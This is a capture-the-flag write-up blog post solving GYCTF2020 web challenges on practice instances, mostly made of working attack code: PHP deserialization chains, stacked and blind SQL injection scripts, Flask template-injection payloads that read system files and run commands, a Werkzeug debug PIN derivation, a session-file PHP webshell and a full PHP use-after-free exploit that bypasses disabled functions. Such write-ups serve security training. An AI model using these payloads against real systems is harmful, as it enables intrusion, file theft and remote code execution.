GYCTF2020

baozongwi Lv5

[GYCTF2020]Easyphp

看初始页面像是一个审计的题目,那么直接盲猜是www.zip有源码

伪造admin

index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
require_once "lib.php";

if(isset($_GET['action'])){
require_once(__DIR__."/".$_GET['action'].".php");
}
else{
if($_SESSION['login']==1){
echo "<script>window.location.href='./index.php?action=update'</script>";
}
else{
echo "<script>window.location.href='./index.php?action=login'</script>";
}
}
?>

login.php一个防止sql注入的页面

1
2
3
4
5
6
7
8
9
10
11
12
<?php 
$user=new user();
if(isset($_POST['username'])){
if(preg_match("/union|select|drop|delete|insert|\#|\%|\`|\@|\\\\/i", $_POST['username'])){
die("<br>Damn you, hacker!");
}
if(preg_match("/union|select|drop|delete|insert|\#|\%|\`|\@|\\\\/i", $_POST['password'])){
die("Damn you, hacker!");
}
$user->login();
}
?>

update.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
require_once('lib.php');
echo '<html>
<meta charset="utf-8">
<title>update</title>
<h2>这是一个未完成的页面,上线时建议删除本页面</h2>
</html>';
if ($_SESSION['login']!=1){
echo "你还没有登陆呢!";
}
$users=new User();
$users->update();
if($_SESSION['login']===1){
require_once("flag.php");
echo $flag;
}

?>

lib.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
<?php
error_reporting(0);
session_start();
function safe($parm){
$array= array('union','regexp','load','into','flag','file','insert',"'",'\\',"*","alter");
return str_replace($array,'hacker',$parm);
}
class User
{
public $id;
public $age=null;
public $nickname=null;
public function login() {
if(isset($_POST['username'])&&isset($_POST['password'])){
$mysqli=new dbCtrl();
$this->id=$mysqli->login('select id,password from user where username=?');
if($this->id){
$_SESSION['id']=$this->id;
$_SESSION['login']=1;
echo "你的ID是".$_SESSION['id'];
echo "你好!".$_SESSION['token'];
echo "<script>window.location.href='./update.php'</script>";
return $this->id;
}
}
}
public function update(){
$Info=unserialize($this->getNewinfo());
$age=$Info->age;
$nickname=$Info->nickname;
$updateAction=new UpdateHelper($_SESSION['id'],$Info,"update user SET age=$age,nickname=$nickname where id=".$_SESSION['id']);
//这个功能还没有写完 先占坑
}
public function getNewInfo(){
$age=$_POST['age'];
$nickname=$_POST['nickname'];
return safe(serialize(new Info($age,$nickname)));
}
public function __destruct(){
return file_get_contents($this->nickname);//危
}
public function __toString()
{
$this->nickname->update($this->age);
return "0-0";
}
}
class Info{
public $age;
public $nickname;
public $CtrlCase;
public function __construct($age,$nickname){
$this->age=$age;
$this->nickname=$nickname;
}
public function __call($name,$argument){
echo $this->CtrlCase->login($argument[0]);
}
}
Class UpdateHelper{
public $id;
public $newinfo;
public $sql;
public function __construct($newInfo,$sql){
$newInfo=unserialize($newInfo);
$upDate=new dbCtrl();
}
public function __destruct()
{
echo $this->sql;
}
}
class dbCtrl
{
public $hostname="127.0.0.1";
public $dbuser="root";
public $dbpass="root";
public $database="test";
public $name;
public $password;
public $mysqli;
public $token;
public function __construct()
{
$this->name=$_POST['username'];
$this->password=$_POST['password'];
$this->token=$_SESSION['token'];
}
public function login($sql)
{
$this->mysqli=new mysqli($this->hostname, $this->dbuser, $this->dbpass, $this->database);
if ($this->mysqli->connect_error) {
die("连接失败,错误:" . $this->mysqli->connect_error);
}
$result=$this->mysqli->prepare($sql);
$result->bind_param('s', $this->name);
$result->execute();
$result->bind_result($idResult, $passwordResult); //绑定变量
$result->fetch();
$result->close();
if ($this->token=='admin') {
return $idResult;
}
if (!$idResult) {
echo('用户不存在!');
return false;
}
if (md5($this->password)!==$passwordResult) { //是否等于Hash值
echo('密码错误!');
return false;
}
$_SESSION['token']=$this->name;
return $idResult;
}
public function update($sql)
{
//还没来得及写
}
}
1
2
3
4
select 1,2;
_ _ _ _ _ _ _ _
|id |password |
|1 |2 |

我们参数是可控的,这个时候找链子

1
__destruct()->__toString()->__call()->login()

EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
class User{
public $age=null;
public $nickname=null;
public function __construct(){
$this->age='select 1,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?';
$this->nickname=new Info(); //__toString
}
}
class Info{
public $CtrlCase;
public function __construct(){
$this->CtrlCase=new dbCtrl(); //__call
}
}
class UpdateHelper{
public $sql;
public function __construct(){
$this->sql=new User();
}
}

class dbCtrl{
public $name='admin';
public $password='1';
}
echo serialize(new UpdateHelper());
1
2
3
4
function safe($parm){
$array= array('union','regexp','load','into','flag','file','insert',"'",'\\',"*","alter");
return str_replace($array,'hacker',$parm);
}

还需要字符逃逸,并且需要再次进行对象的序列化

1
2
3
4
5
public function getNewInfo(){
$age=$_POST['age'];
$nickname=$_POST['nickname'];
return safe(serialize(new Info($age,$nickname)));
}

如果传参

1
2
3
age=1&nickname=1

O:4:"Info":3:{s:3:"age";s:1:"1";s:8:"nickname";s:1:"1";s:8:"CtrlCase";N;}

那我们nickname可控就可以逃逸了

1
2
print(len('";s:8:"CtrlCase";O:12:"UpdateHelper":1:{s:3:"sql";O:4:"User":2:{s:3:"age";s:70:"select 1,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?";s:8:"nickname";O:4:"Info":1:{s:8:"CtrlCase";O:6:"dbCtrl":2:{s:4:"name";s:5:"admin";s:8:"password";s:1:"1";}}}};}'))
#264

那么就是52个*和两个load

1
print("*"*52+'''load'''*2)
1
2
3
4
5
6
7
http://e4e592ee-9e7b-4d16-84f7-f7ab60db163e.node5.buuoj.cn:81/update.php

POST:
age=1&nickname=****************************************************loadloadload";s:8:"CtrlCase";O:12:"UpdateHelper":1:{s:3:"sql";O:4:"User":2:{s:3:"age";s:70:"select 1,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?";s:8:"nickname";O:4:"Info":1:{s:8:"CtrlCase";O:6:"dbCtrl":2:{s:4:"name";s:5:"admin";s:8:"password";s:1:"1";}}}};}

回显
你还没有登陆呢!10-0

然后再回去登录即可

[GYCTF2020]Blacklist

堆叠注入(Stacked injections)。其原理就是将原来的语句构造完后加上分号,代表该语句结束,后面在输入的就是一个全新的sql语句了,这个时候使用增删改查毫无限制。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
1' or 1=1;#

array(2) {
[0]=>
string(1) "1"
[1]=>
string(7) "hahahah"
}

array(2) {
[0]=>
string(1) "2"
[1]=>
string(12) "miaomiaomiao"
}

array(2) {
[0]=>
string(6) "114514"
[1]=>
string(2) "ys"
}

也就是说万能密码是可以的,那么尝试注入

1
2
3
1' union select 1,2,3#

return preg_match("/set|prepare|alter|rename|select|update|delete|drop|insert|where|\./i",$inject);

普通注入不行了,尝试堆叠注入

1
2
3
4
5
6
7
1';show database();#
array(2) {
[0]=>
string(1) "1"
[1]=>
string(7) "hahahah"
}

再查表

1
2
3
4
5
6
7
8
9
10
11
12
13
1;show tables;#
啥都没有,一看没闭合,但是为什么爆库又可以呢
1';show tables;#

array(1) {
[0]=>
string(8) "FlagHere"
}

array(1) {
[0]=>
string(5) "words"
}

后面怎么爆列、爆内容呢,一般这个列是不用担心的因为基本这种就是flag

但是依然可以操作

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
1';show columns from FlagHere;#

array(6) {
[0]=>
string(4) "flag"
[1]=>
string(12) "varchar(100)"
[2]=>
string(2) "NO"
[3]=>
string(0) ""
[4]=>
NULL
[5]=>
string(0) ""
}

这里有个关键词相当美丽

HANDLER

例如,HANDLER tbl_name OPEN打开一张表,无返回结果,实际上我们在这里声明了一个名为tb1_name的句柄。

通过HANDLER tbl_name READ FIRST获取句柄的第一行,通过READ NEXT依次获取其它行。最后一行执行之后再执行NEXT会返回一个空的结果。

通过HANDLER tbl_name CLOSE来关闭打开的句柄。

1
1';HANDLER FlagHere OPEN;HANDLER FlagHere READ FIRST;HANDLER FlagHere CLOSE;

读取第二行

1
1';HANDLER FlagHere OPEN;HANDLER FlagHere READ FIRST;HANDLER FlagHere READ NEXT;HANDLER FlagHere CLOSE;

读取第三行

1
1';HANDLER FlagHere OPEN;HANDLER FlagHere READ FIRST;HANDLER FlagHere READ NEXT;HANDLER FlagHere READ NEXT;HANDLER FlagHere CLOSE;

[GYCTF2020]FlaskApp

绕过

一看就是一个SSTI

测试一下

测了一会由于之前一般测试都是用的*,然后发现这次一直在解密解密nonono

后面换了payload测试成功

1
2
3
{{4+4}}
加密为
e3s0KzR9fQ==

绕过好像有点多,用这个姿势去打算了比较万能

1
2
3
{%for c in x.__class__.__base__.__subclasses__() %}{%if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('app.py','r').read()}}{%endif %}{%endfor %}
加密为
eyVmb3IgYyBpbiB4Ll9fY2xhc3NfXy5fX2Jhc2VfXy5fX3N1YmNsYXNzZXNfXygpICV9eyVpZiBjLl9fbmFtZV9fPT0nY2F0Y2hfd2FybmluZ3MnICV9e3sgYy5fX2luaXRfXy5fX2dsb2JhbHNfX1snX19idWlsdGluc19fJ10ub3BlbignYXBwLnB5JywncicpLnJlYWQoKX19eyVlbmRpZiAlfXslZW5kZm9yICV9

搞到源码进行html解码得到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
from flask import Flask,render_template_string 
from flask import render_template,request,flash,redirect,url_for
from flask_wtf import FlaskForm
from wtforms import StringField, SubmitField
from wtforms.validators import DataRequired
from flask_bootstrap import Bootstrap
import base64

app = Flask(__name__)
app.config['SECRET_KEY'] = 's_e_c_r_e_t_k_e_y'
bootstrap = Bootstrap(app)

class NameForm(FlaskForm):
text = StringField('BASE64 Æ',validators= [DataRequired()])
submit = SubmitField('Ф')
class NameForm1(FlaskForm):
text = StringField('BASE64ãÆ',validators= [DataRequired()])
submit = SubmitField('Ф')

def waf(str):
black_list = ["flag","os","system","popen","import","eval","chr","request", "subprocess","commands","socket","hex","base64","*","?"]

for x in black_list :
if x in str.lower() :
return 1
@app.route('/hint',methods=['GET'])
def hint():
txt = "1%CŸKÍ"
return render_template("hint.html",txt = txt)
@app.route('/',methods=['POST','GET'])
def encode():
if request.values.get('text') :
text = request.values.get("text")
text_decode = base64.b64encode(text.encode())
tmp = "Ӝ :{0}".format(str(text_decode.decode()))
res = render_template_string(tmp)
flash(tmp)
return redirect(url_for('encode'))
else : text = ""
form = NameForm(text)
return render_template("index.html",form = form ,method = " Æ" ,img = "flask.png")

@app.route('/decode',methods=['POST','GET'])
def decode():
if request.values.get('text') :
text = request.values.get("text")
text_decode = base64.b64decode(text.encode())
tmp = "Ӝ  {0}".format(text_decode.decode())
if waf(tmp) :
flash("no no no !!")
return redirect(url_for('decode'))
res = render_template_string(tmp)
flash( res )
return redirect(url_for('decode'))
else :
text = ""
form = NameForm1(text)
return render_template("index.html",form = form, method = "ãÆ" , img = "flask1.png")

@app.route('/<name>',methods=['GET'])
def not_found(name):
return render_template("404.html",name = name)
if __name__ == '__main__':
app.run(host="0.0.0.0", port=5000, debug=True)

拿到过滤名单之后我们就知道怎么RCE了

本地调试了一会终于成功了

1
2
3
{% for c in x.__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__']['__imp'+'ort__']('o'+'s')['po'+'pen']('ls /').read()}}{% endif %}{% endfor %}

eyUgZm9yIGMgaW4geC5fX2NsYXNzX18uX19iYXNlX18uX19zdWJjbGFzc2VzX18oKSAlfXslIGlmIGMuX19uYW1lX189PSdjYXRjaF93YXJuaW5ncycgJX17eyBjLl9faW5pdF9fLl9fZ2xvYmFsc19fWydfX2J1aWx0aW5zX18nXVsnX19pbXAnKydvcnRfXyddKCdvJysncycpWydwbycrJ3BlbiddKCdscyAvJykucmVhZCgpfX17JSBlbmRpZiAlfXslIGVuZGZvciAlfQ==
1
{% for c in x.__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__']['__imp'+'ort__']('o'+'s')['po'+'pen']('tac /this_is_the_fl'+'ag.txt').read()}}{% endif %}{% endfor %}

其实还可以直接列表列出来然后读取文件

1
2
3
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__']['__imp'+'ort__']('o'+'s').listdir('/')}}{% endif %}{% endfor %}

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/this_is_the_fl'+'ag.txt','r').read()}}{% endif %}{% endfor %}

pin值

1
2
3
{%for c in x.__class__.__base__.__subclasses__() %}{%if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/etc/passwd','r').read()}}{%endif %}{%endfor %}
加密打入
得到flaskweb
1
2
3
4
5
6
7
flask.app

Flask

{%for c in x.__class__.__base__.__subclasses__() %}{%if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/etc/passwd','r').read()}}{%endif %}{%endfor %}
直接打入得到
/usr/local/lib/python3.7/site-packages/flask/app.py
1
2
3
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/sys/class/net/eth0/address','r').read()}}{% endif %}{% endfor %}
加密打入得到
92:8a:43:bb:5b:c3
1
2
3
4
5
6
7
8
9
10
11
12
13
首先访问`/etc/machine-id`,有值就break,没值就访问`/proc/sys/kernel/random/boot_id`,然后不管此时有没有值,再访问`/proc/self/cgroup` 或 `/proc/self/mountinfo` 或 `/proc/self/cpuset` 其中的值拼接到前面的值后面。
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/etc/machine-id','r').read()}}{% endif %}{% endfor %}
加密打入
1408f836b0ca514d796cbf8960e45fa1

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/proc/self/cgroup','r').read()}}{% endif %}{% endfor %}
加密打入
0::/


python "c:\Users\baozhongqi\Documents\VSCODE\.vscode\python\index.py" -u flaskweb -p /usr/local/lib/python3.7/site-packages/flask/app.py -M 92:8a:43:bb:5b:c3 -i 1408f836b0ca514d796cbf8960e45fa1
Md5Pin: 462-301-547
Sha1Pin: 468-724-479

这里是python3.7所以使用md5

终于打通了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
>>> import os
>>> os.popen('ls /')
<os._wrap_close object at 0x7fad121fa910>
>>> os.popen('ls /').read()
'app\nbin\nboot\ndev\netc\nhome\nlib\nlib64\nmedia\nmnt\nopt\nproc\nro
>>> print(os.popen('ls /').read())
app
bin
boot
dev
etc
home
lib
lib64
media
mnt
opt
proc
root
run
sbin
srv
sys
this_is_the_flag.txt
tmp
usr
var

>>> print(os.popen('tac /f*').read())

>>> print(os.popen('tac /this_is_the_flag.txt').read())
flag{c5d06b53-5aae-44b5-b805-246affc80c5f}

[GYCTF2020]Ezsqli

一眼sql注入

1
2
3
4
5
6
7
8
9
1&&1=1
Nu1L

1&&1=0
Error Occured When Fetch Result.

1&&length(database())>20
1&&length(database())>21
测出数据库长度为21,那么就是一个盲注

但是过滤的东西还是比较多的,比如查表的时候

只能用sys.x$schema_flattened_keys,information被过滤,mysql.innodb也无法使用,只能用这个新搜到的
写法和这两个是一样的直接写就行

查列名的话使用无列名注入,但是union被过滤了

所以可以直接猜flag是列名来打通

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import requests

url = "http://ddf1fa73-7ed4-44b8-a6ca-523a8eca6212.node5.buuoj.cn:81/index.php"
flag = ""
i = 0

while True:
i += 1
low = 32
high = 127

while low < high:
mid = (low + high) // 2

# payload = f"1&&(ascii(substr((database()),{i},1))>{mid})"
# payload = f"1&&(ascii(substr((select(group_concat(table_name))from(sys.x$schema_flattened_keys)where(table_schema=database())),{i},1))>{mid})"
# f1ag_1s_h3r3_hhhhh, users233333333333333
payload = f"1&&(ascii(substr((select(group_concat(flag))from(f1ag_1s_h3r3_hhhhh)),{i},1))>{mid})"

data = {
'id': {payload}
}
r = requests.post(url=url, data=data)

if "Nu1L" in r.text:
low = mid + 1
else:
high = mid

if low != 32:
flag += chr(low)
else:
break

print(flag)

这里还有姿势可以打出列名,就是ascii无列名偏移注入

我多次调试,这个脚本大家可以放心食用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
import time
import requests

url = "http://ddf1fa73-7ed4-44b8-a6ca-523a8eca6212.node5.buuoj.cn:81/index.php"
flag = ""
i = 0

while i < 44:
i += 1
low = 32
high = 127

while low < high:
s = flag # 动态更新flag,一个一个摸索值
mid = (low + high) // 2
s += chr(mid)

payload = f"1&&((select * from f1ag_1s_h3r3_hhhhh)>(select 1,'{s}'))"
# payload = f"1^((select * from f1ag_1s_h3r3_hhhhh)>(select 1,'{s}'))<^1"
# payload = f"0^((select * from f1ag_1s_h3r3_hhhhh)>(select 1,'{s}'))"
# print(payload)

data = {
'id': {payload}
}

time.sleep(0.025)
r = requests.post(url=url, data=data)

if "Nu1L" in r.text:
low = mid + 1
else:
high = mid

if low != 32 and chr(low-1) !='~' and chr(low-1) != 'x':
flag += chr(low - 1) # 实际字符减1才是我们需要的字符
elif chr(low-1) == 'x':
break
elif chr(low-1) =='~':
break

print("\r" + flag.lower(), end='') # 动态输出flag在同一行


print("}")
print("flag已经可以了") # 打印一个换行,使得下一行内容不再覆盖在flag上面

[GYCTF2020]EasyThinking

tp6的任意文件读取漏洞

/www.zip有源码泄露

利用32位的session可控来上传shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
Request:

POST /home/member/login HTTP/1.1
Host: a7a25127-aeba-4bf7-90d1-52c4af263b76.node5.buuoj.cn:81
Content-Length: 21
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://a7a25127-aeba-4bf7-90d1-52c4af263b76.node5.buuoj.cn:81
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://a7a25127-aeba-4bf7-90d1-52c4af263b76.node5.buuoj.cn:81/home/member/login
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=1111111111111111111111111111.php
Connection: close

username=6&password=6
1
2
3
4
5
6
7
8
9
10
11
12
13
response:

HTTP/1.1 302 Found
Server: openresty
Date: Mon, 19 Aug 2024 09:56:29 GMT
Content-Type: text/html; charset=utf-8
Connection: close
X-Powered-By: PHP/7.3.11
Cache-control: no-cache,must-revalidate
Location: /home/member/index
Set-Cookie: PHPSESSID=1111111111111111111111111111.php; path=/
Cache-Control: no-cache
Content-Length: 0

在搜索页面打入<?php phpinfo()?>看看成功没有

访问/runtime/session/sess_1111111111111111111111111111.php

成功了

再打入一句话<?php @eval($_POST[1]);?>

链接antsword

1
2
3
url:http://a7a25127-aeba-4bf7-90d1-52c4af263b76.node5.buuoj.cn:81/runtime/session/sess_1111111111111111111111111111.php

password:1

然后发现权限不够不能运行文件

临时文件目录/tmp中每个用户都有权限写入文件

这里我们写入一个php<7.4bypassshell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
<?php

pwn("/readflag"); //这里是想要执行的系统命令

function pwn($cmd) {
global $abc, $helper;

function str2ptr(&$str, $p = 0, $s = 8) {
$address = 0;
for($j = $s-1; $j >= 0; $j--) {
$address <<= 8;
$address |= ord($str[$p+$j]);
}
return $address;
}

function ptr2str($ptr, $m = 8) {
$out = "";
for ($i=0; $i < $m; $i++) {
$out .= chr($ptr & 0xff);
$ptr >>= 8;
}
return $out;
}

function write(&$str, $p, $v, $n = 8) {
$i = 0;
for($i = 0; $i < $n; $i++) {
$str[$p + $i] = chr($v & 0xff);
$v >>= 8;
}
}

function leak($addr, $p = 0, $s = 8) {
global $abc, $helper;
write($abc, 0x68, $addr + $p - 0x10);
$leak = strlen($helper->a);
if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
return $leak;
}

function parse_elf($base) {
$e_type = leak($base, 0x10, 2);

$e_phoff = leak($base, 0x20);
$e_phentsize = leak($base, 0x36, 2);
$e_phnum = leak($base, 0x38, 2);

for($i = 0; $i < $e_phnum; $i++) {
$header = $base + $e_phoff + $i * $e_phentsize;
$p_type = leak($header, 0, 4);
$p_flags = leak($header, 4, 4);
$p_vaddr = leak($header, 0x10);
$p_memsz = leak($header, 0x28);

if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
# handle pie
$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
$data_size = $p_memsz;
} else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
$text_size = $p_memsz;
}
}

if(!$data_addr || !$text_size || !$data_size)
return false;

return [$data_addr, $text_size, $data_size];
}

function get_basic_funcs($base, $elf) {
list($data_addr, $text_size, $data_size) = $elf;
for($i = 0; $i < $data_size / 8; $i++) {
$leak = leak($data_addr, $i * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
# 'constant' constant check
if($deref != 0x746e6174736e6f63)
continue;
} else continue;

$leak = leak($data_addr, ($i + 4) * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
# 'bin2hex' constant check
if($deref != 0x786568326e6962)
continue;
} else continue;

return $data_addr + $i * 8;
}
}

function get_binary_base($binary_leak) {
$base = 0;
$start = $binary_leak & 0xfffffffffffff000;
for($i = 0; $i < 0x1000; $i++) {
$addr = $start - 0x1000 * $i;
$leak = leak($addr, 0, 7);
if($leak == 0x10102464c457f) { # ELF header
return $addr;
}
}
}

function get_system($basic_funcs) {
$addr = $basic_funcs;
do {
$f_entry = leak($addr);
$f_name = leak($f_entry, 0, 6);

if($f_name == 0x6d6574737973) { # system
return leak($addr + 8);
}
$addr += 0x20;
} while($f_entry != 0);
return false;
}

class ryat {
var $ryat;
var $chtg;

function __destruct()
{
$this->chtg = $this->ryat;
$this->ryat = 1;
}
}

class Helper {
public $a, $b, $c, $d;
}

if(stristr(PHP_OS, 'WIN')) {
die('This PoC is for *nix systems only.');
}

$n_alloc = 10; # increase this value if you get segfaults

$contiguous = [];
for($i = 0; $i < $n_alloc; $i++)
$contiguous[] = str_repeat('A', 79);

$poc = 'a:4:{i:0;i:1;i:1;a:1:{i:0;O:4:"ryat":2:{s:4:"ryat";R:3;s:4:"chtg";i:2;}}i:1;i:3;i:2;R:5;}';
$out = unserialize($poc);
gc_collect_cycles();

$v = [];
$v[0] = ptr2str(0, 79);
unset($v);
$abc = $out[2][0];

$helper = new Helper;
$helper->b = function ($x) { };

if(strlen($abc) == 79 || strlen($abc) == 0) {
die("UAF failed");
}

# leaks
$closure_handlers = str2ptr($abc, 0);
$php_heap = str2ptr($abc, 0x58);
$abc_addr = $php_heap - 0xc8;

# fake value
write($abc, 0x60, 2);
write($abc, 0x70, 6);

# fake reference
write($abc, 0x10, $abc_addr + 0x60);
write($abc, 0x18, 0xa);

$closure_obj = str2ptr($abc, 0x20);

$binary_leak = leak($closure_handlers, 8);
if(!($base = get_binary_base($binary_leak))) {
die("Couldn't determine binary base address");
}

if(!($elf = parse_elf($base))) {
die("Couldn't parse ELF header");
}

if(!($basic_funcs = get_basic_funcs($base, $elf))) {
die("Couldn't get basic_functions address");
}

if(!($zif_system = get_system($basic_funcs))) {
die("Couldn't get zif_system address");
}

# fake closure object
$fake_obj_offset = 0xd0;
for($i = 0; $i < 0x110; $i += 8) {
write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
}

# pwn
write($abc, 0x20, $abc_addr + $fake_obj_offset);
write($abc, 0xd0 + 0x38, 1, 4); # internal func type
write($abc, 0xd0 + 0x68, $zif_system); # internal func handler

($helper->b)($cmd);

exit();
}

然后包含即可

1
2
3
4
http://82b25714-2b60-4588-bf7a-fc55e17d3f33.node5.buuoj.cn:81/runtime/session/sess_1111111111111111111111111111.php

POST:
1=include("/tmp/poc.php");

[GYCTF2020]Ez_Express

expressSSTI或者污染

[GYCTF2020]Node Game

原型链污染,但是我这的污染水平这两道题都做不了

[GYCTF2020]NewsWebsite

不懂欠着

  • Title: GYCTF2020
  • Author: baozongwi
  • Created at : 2024-08-18 13:01:34
  • Updated at : 2024-09-14 15:44:19
  • Link: https://baozongwi.xyz/2024/08/18/GYCTF2020/
  • License: This work is licensed under CC BY-NC-SA 4.0.
Comments